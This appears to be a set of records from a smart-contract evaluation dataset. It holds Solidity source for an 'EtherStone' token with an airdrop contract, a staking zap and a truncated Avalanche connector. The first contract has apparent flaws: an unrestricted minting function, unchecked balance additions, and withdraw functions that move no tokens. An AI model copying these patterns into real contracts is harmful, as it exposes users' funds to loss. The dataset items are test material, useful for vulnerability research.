evaluation-dataset/0xf5ba8a8c87f976b79b17ccd25ee8dc2f8e82fb59.sol
3,558
14,804
pragma solidity ^0.4.24; interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract TokenERC20 { // Public variables of the token string public name = "EtherStone"; string public symbol = "ETHS"; uint256 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply = 100*1000*1000*10**decimals; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; function giveBlockReward() { balanceOf[block.coinbase] += 1; } bytes32 public currentChallenge; // The coin starts with a challenge uint public timeOfLastProof; // Variable to keep track of when rewards were given uint public difficulty = 10**32; // Difficulty starts reasonably low function proofOfWork(uint nonce){ bytes8 n = bytes8(sha3(nonce, currentChallenge)); // Generate a random hash based on input require(n >= bytes8(difficulty)); // Check if it's under the difficulty uint timeSinceLastProof = (now - timeOfLastProof); // Calculate time since last reward was given require(timeSinceLastProof >= 5 seconds); // Rewards cannot be given too quickly balanceOf[msg.sender] += timeSinceLastProof / 60 seconds; // The reward to the winner grows by the minute difficulty = difficulty * 10 minutes / timeSinceLastProof + 1; // Adjusts the difficulty timeOfLastProof = now; // Reset the counter currentChallenge = sha3(nonce, currentChallenge, block.blockhash(block.number - 1)); // Save a hash that will be used as the next proof } // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); function TokenERC20() public { balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens } function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract AirdropCentral { using SafeMath for uint256; // The owner / admin of the Airdrop Central // In charge of accepting airdrop submissions address public owner; // How many tokens the owner keeps of each airdrop as transaction fee uint public ownersCut = 2; // 2% commision in tokens // Id of each airdrop (token address + id #) struct TokenAirdropID { address tokenAddress; uint airdropAddressID; // The id of the airdrop within a token address } struct TokenAirdrop { address tokenAddress; uint airdropAddressID; // The id of the airdrop within a token address address tokenOwner; uint airdropDate; // The airdrop creation date uint airdropExpirationDate; // When airdrop expires uint tokenBalance; // Current balance uint totalDropped; // Total to distribute uint usersAtDate; // How many users were signed at airdrop date } struct User { address userAddress; uint signupDate; // Determines which airdrops the user has access to // User -> Airdrop id# -> balance mapping (address => mapping (uint => uint)) withdrawnBalances; } // Maps the tokens available to airdrop central contract. Keyed by token address mapping (address => TokenAirdrop[]) public airdroppedTokens; TokenAirdropID[] public airdrops; // List of users that signed up mapping (address => User) public signups; uint public userSignupCount = 0; // Admins with permission to accept submissions mapping (address => bool) admins; // Whether or not the contract is paused (in case of a problem is detected) bool public paused = false; // List of approved/rejected token/sender addresses mapping (address => bool) public tokenWhitelist; mapping (address => bool) public tokenBlacklist; mapping (address => bool) public airdropperBlacklist; // // Modifiers // modifier onlyOwner { require(msg.sender == owner); _; } modifier onlyAdmin { require(msg.sender == owner || admins[msg.sender]); _; } modifier ifNotPaused { require(!paused); _; } // // Events // event E_AirdropSubmitted(address _tokenAddress, address _airdropper,uint _totalTokensToDistribute,uint creationDate, uint _expirationDate); event E_Signup(address _userAddress,uint _signupDate); event E_TokensWithdrawn(address _tokenAddress,address _userAddress, uint _tokensWithdrawn, uint _withdrawalDate); function AirdropCentral() public { owner = msg.sender; } ///////////////////// // Owner / Admin functions ///////////////////// function setPaused(bool _isPaused) public onlyOwner{ paused = _isPaused; } function setAdmin(address _admin, bool isAdmin) public onlyOwner{ admins[_admin] = isAdmin; } function removeFromBlacklist(address _airdropper, address _tokenAddress) public onlyOwner { if(_airdropper != address(0)) airdropperBlacklist[_airdropper] = false; if(_tokenAddress != address(0)) tokenBlacklist[_tokenAddress] = false; } function approveSubmission(address _airdropper, address _tokenAddress) public onlyAdmin { require(!airdropperBlacklist[_airdropper]); require(!tokenBlacklist[_tokenAddress]); tokenWhitelist[_tokenAddress] = true; } function revokeSubmission(address _airdropper, address _tokenAddress) public onlyAdmin { if(_tokenAddress != address(0)){ tokenWhitelist[_tokenAddress] = false; tokenBlacklist[_tokenAddress] = true; } if(_airdropper != address(0)){ airdropperBlacklist[_airdropper] = true; } } function signupUsersManually(address _user) public onlyAdmin { require(signups[_user].userAddress == address(0)); signups[_user] = User(_user,now); userSignupCount++; E_Signup(msg.sender,now); } ///////////////////// // Airdropper functions ///////////////////// function airdropTokens(address _tokenAddress, uint _totalTokensToDistribute, uint _expirationTime) public ifNotPaused { require(tokenWhitelist[_tokenAddress]); require(!airdropperBlacklist[msg.sender]); //Multiply number entered by token decimals. // Calculate owner's tokens and tokens to airdrop uint tokensForOwner = _totalTokensToDistribute.mul(ownersCut).div(100); _totalTokensToDistribute = _totalTokensToDistribute.sub(tokensForOwner); // Store the airdrop unique id in array (token address + id) TokenAirdropID memory taid = TokenAirdropID(_tokenAddress,airdroppedTokens[_tokenAddress].length); TokenAirdrop memory ta = TokenAirdrop(_tokenAddress,airdroppedTokens[_tokenAddress].length,msg.sender,now,now+_expirationTime,_totalTokensToDistribute,_totalTokensToDistribute,userSignupCount); airdroppedTokens[_tokenAddress].push(ta); airdrops.push(taid); // Transfer the tokens E_AirdropSubmitted(_tokenAddress,ta.tokenOwner,ta.totalDropped,ta.airdropDate,ta.airdropExpirationDate); } function returnTokensToAirdropper(address _tokenAddress) public ifNotPaused { require(tokenWhitelist[_tokenAddress]); // Token must be whitelisted first // Get the token uint tokensToReturn = 0; for (uint i =0; i<airdroppedTokens[_tokenAddress].length; i++){ TokenAirdrop storage ta = airdroppedTokens[_tokenAddress][i]; if(msg.sender == ta.tokenOwner && airdropHasExpired(_tokenAddress,i)){ tokensToReturn = tokensToReturn.add(ta.tokenBalance); ta.tokenBalance = 0; } } E_TokensWithdrawn(_tokenAddress,msg.sender,tokensToReturn,now); } ///////////////////// // User functions ///////////////////// function signUpForAirdrops() public ifNotPaused{ require(signups[msg.sender].userAddress == address(0)); signups[msg.sender] = User(msg.sender,now); userSignupCount++; E_Signup(msg.sender,now); } function quitFromAirdrops() public ifNotPaused{ require(signups[msg.sender].userAddress == msg.sender); delete signups[msg.sender]; userSignupCount--; } function getTokensAvailableToMe(address _tokenAddress) view public returns (uint){ require(tokenWhitelist[_tokenAddress]); // Token must be whitelisted first // Get User instance, given the sender account User storage user = signups[msg.sender]; require(user.userAddress != address(0)); uint totalTokensAvailable= 0; for (uint i =0; i<airdroppedTokens[_tokenAddress].length; i++){ TokenAirdrop storage ta = airdroppedTokens[_tokenAddress][i]; uint _withdrawnBalance = user.withdrawnBalances[_tokenAddress][i]; //Check that user signed up before the airdrop was done. If so, he is entitled to the tokens //And the airdrop must not have expired if(ta.airdropDate >= user.signupDate && now <= ta.airdropExpirationDate){ // The user will get a portion of the total tokens airdroped, // divided by the users at the moment the airdrop was created uint tokensAvailable = ta.totalDropped.div(ta.usersAtDate); // if the user has not alreay withdrawn the tokens, count them if(_withdrawnBalance < tokensAvailable){ totalTokensAvailable = totalTokensAvailable.add(tokensAvailable); } } } return totalTokensAvailable; } function withdrawTokens(address _tokenAddress) ifNotPaused public { require(tokenWhitelist[_tokenAddress]); // Token must be whitelisted first // Get User instance, given the sender account User storage user = signups[msg.sender]; require(user.userAddress != address(0)); uint totalTokensToTransfer = 0; for (uint i =0; i<airdroppedTokens[_tokenAddress].length; i++){ TokenAirdrop storage ta = airdroppedTokens[_tokenAddress][i]; uint _withdrawnBalance = user.withdrawnBalances[_tokenAddress][i]; //Check that user signed up before the airdrop was done. If so, he is entitled to the tokens //And the airdrop must not have expired if(ta.airdropDate >= user.signupDate && now <= ta.airdropExpirationDate){ // The user will get a portion of the total tokens airdroped, // divided by the users at the moment the airdrop was created uint tokensToTransfer = ta.totalDropped.div(ta.usersAtDate); // if the user has not alreay withdrawn the tokens if(_withdrawnBalance < tokensToTransfer){ // Register the tokens withdrawn by the user and total tokens withdrawn user.withdrawnBalances[_tokenAddress][i] = tokensToTransfer; ta.tokenBalance = ta.tokenBalance.sub(tokensToTransfer); totalTokensToTransfer = totalTokensToTransfer.add(tokensToTransfer); } } } E_TokensWithdrawn(_tokenAddress,msg.sender,totalTokensToTransfer,now); } function airdropsCount() public view returns (uint){ return airdrops.length; } function getAddress() public view returns (address){ return address(this); } function airdropHasExpired(address _tokenAddress, uint _id) public view returns (bool){ TokenAirdrop storage ta = airdroppedTokens[_tokenAddress][_id]; return (now > ta.airdropExpirationDate); } }
182,928
12,070
639539b4699b1b0a0039a523c3b92c8e34cf636385df6351c3eca4d0ecc6a4e5
40,353
.sol
Solidity
false
468407125
tintinweb/smart-contract-sanctuary-optimism
5f86f1320e8b5cdf11039be240475eff1303ed67
contracts/mainnet/ba/ba8559dfa1f2b767cea440fb1ede9bfb4a9f518e_StakingRewardsZap.sol
4,423
18,761
// SPDX-License-Identifier: AGPL-3.0 pragma solidity ^0.8.15; // File: Address.sol // OpenZeppelin Contracts (last updated v4.7.0) (utils/Address.sol) library Address { function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success,) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } function verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly /// @solidity memory-safe-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: IERC20.sol // OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol) interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address from, address to, uint256 amount) external returns (bool); } // File: draft-IERC20Permit.sol // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/draft-IERC20Permit.sol) interface IERC20Permit { function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external; function nonces(address owner) external view returns (uint256); // solhint-disable-next-line func-name-mixedcase function DOMAIN_SEPARATOR() external view returns (bytes32); } // File: IERC20Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol) interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } // File: Ownable.sol // OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol) abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } modifier onlyOwner() { _checkOwner(); _; } function owner() public view virtual returns (address) { return _owner; } function _checkOwner() internal view virtual { require(owner() == _msgSender(), "Ownable: caller is not the owner"); } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: SafeERC20.sol // OpenZeppelin Contracts (last updated v4.7.0) (token/ERC20/utils/SafeERC20.sol) library SafeERC20 { using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } function safePermit(IERC20Permit token, address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) internal { uint256 nonceBefore = token.nonces(owner); token.permit(owner, spender, value, deadline, v, r, s); uint256 nonceAfter = token.nonces(owner); require(nonceAfter == nonceBefore + 1, "SafeERC20: permit did not succeed"); } function _callOptionalReturn(IERC20 token, bytes memory data) private { // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: ERC20.sol // OpenZeppelin Contracts (last updated v4.7.0) (token/ERC20/ERC20.sol) contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, allowance(owner, spender) + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = allowance(owner, spender); require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } function _transfer(address from, address to, uint256 amount) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, to, amount); uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[from] = fromBalance - amount; } _balances[to] += amount; emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _spendAllowance(address owner, address spender, uint256 amount) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {} function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {} } // File: StakingRewardsZap.sol interface IVault is IERC20 { function token() external view returns (address); function deposit() external; } interface IStakingRewards { function stakeFor(address recipient, uint256 amount) external; } interface IRegistry { function stakingPool(address vault) external view returns (address); } contract StakingRewardsZap is Ownable { using SafeERC20 for IERC20; /// @notice Address of our staking pool registry. address public stakingPoolRegistry; event ZapIn(address indexed user, address indexed targetVault, uint256 amount); event UpdatedPoolRegistry(address registry); event Recovered(address token, uint256 amount); constructor(address _stakingPoolRegistry) { stakingPoolRegistry = _stakingPoolRegistry; } function zapIn(address _targetVault, uint256 _underlyingAmount) external returns (uint256) { // get our underlying token IVault targetVault = IVault(_targetVault); IERC20 underlying = IERC20(targetVault.token()); // transfer to zap and deposit underlying to vault, but first check our approvals _checkAllowance(_targetVault, address(underlying), _underlyingAmount); underlying.transferFrom(msg.sender, address(this), _underlyingAmount); targetVault.deposit(); // read staking contract from registry, then deposit to that staking contract uint256 toStake = targetVault.balanceOf(address(this)); // get our staking pool from our registry for this vault token IRegistry poolRegistry = IRegistry(stakingPoolRegistry); // check what our address is, make sure it's not zero address _vaultStakingPool = poolRegistry.stakingPool(_targetVault); require(_vaultStakingPool != address(0), "staking pool doesn't exist"); IStakingRewards vaultStakingPool = IStakingRewards(_vaultStakingPool); // make sure we have approved the staking pool, as they can be added/updated at any time _checkAllowance(_vaultStakingPool, _targetVault, toStake); // stake for our user, return the amount we staked vaultStakingPool.stakeFor(msg.sender, toStake); emit ZapIn(msg.sender, address(targetVault), toStake); return toStake; } function _checkAllowance(address _contract, address _token, uint256 _amount) internal { if (IERC20(_token).allowance(address(this), _contract) < _amount) { IERC20(_token).safeApprove(_contract, 0); IERC20(_token).safeApprove(_contract, type(uint256).max); } } /// @notice Use this in case someone accidentally sends tokens here. function recoverERC20(address tokenAddress, uint256 tokenAmount) external onlyOwner { IERC20(tokenAddress).safeTransfer(owner(), tokenAmount); emit Recovered(tokenAddress, tokenAmount); } function setPoolRegistry(address _stakingPoolRegistry) external onlyOwner { stakingPoolRegistry = _stakingPoolRegistry; emit UpdatedPoolRegistry(_stakingPoolRegistry); } }
153,961
12,071
a4b6b096675f93166b6e2e7cc87882248d8c77b50f31b7f135fd52a7dfa97ffd
30,181
.sol
Solidity
false
454032456
tintinweb/smart-contract-sanctuary-avalanche
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
contracts/mainnet/2a/2A00684bFAb9717C21271E0751BCcb7d2D763c88_ConnectV2BasicAvalanche.sol
4,442
16,192
// Sources flattened with hardhat v2.6.7 https://hardhat.org // File @openzeppelin/contracts/token/ERC20/[emailprotected] pragma solidity ^0.7.0; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } // File @openzeppelin/contracts/math/[emailprotected] library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // File @openzeppelin/contracts/utils/[emailprotected] library Address { function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success,) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File @openzeppelin/contracts/token/ERC20/[emailprotected] library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function _callOptionalReturn(IERC20 token, bytes memory data) private { // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File contracts/avalanche/common/math.sol contract DSMath { uint constant WAD = 10 ** 18; uint constant RAY = 10 ** 27; function add(uint x, uint y) internal pure returns (uint z) { z = SafeMath.add(x, y); } function sub(uint x, uint y) internal virtual pure returns (uint z) { z = SafeMath.sub(x, y); } function mul(uint x, uint y) internal pure returns (uint z) { z = SafeMath.mul(x, y); } function div(uint x, uint y) internal pure returns (uint z) { z = SafeMath.div(x, y); } function wmul(uint x, uint y) internal pure returns (uint z) { z = SafeMath.add(SafeMath.mul(x, y), WAD / 2) / WAD; } function wdiv(uint x, uint y) internal pure returns (uint z) { z = SafeMath.add(SafeMath.mul(x, WAD), y / 2) / y; } function rdiv(uint x, uint y) internal pure returns (uint z) { z = SafeMath.add(SafeMath.mul(x, RAY), y / 2) / y; } function rmul(uint x, uint y) internal pure returns (uint z) { z = SafeMath.add(SafeMath.mul(x, y), RAY / 2) / RAY; } function toInt(uint x) internal pure returns (int y) { y = int(x); require(y >= 0, "int-overflow"); } function toRad(uint wad) internal pure returns (uint rad) { rad = mul(wad, 10 ** 27); } } // File contracts/avalanche/common/interfaces.sol interface TokenInterface { function approve(address, uint256) external; function transfer(address, uint) external; function transferFrom(address, address, uint) external; function deposit() external payable; function withdraw(uint) external; function balanceOf(address) external view returns (uint); function decimals() external view returns (uint); } interface MemoryInterface { function getUint(uint id) external returns (uint num); function setUint(uint id, uint val) external; } interface AccountInterface { function enable(address) external; function 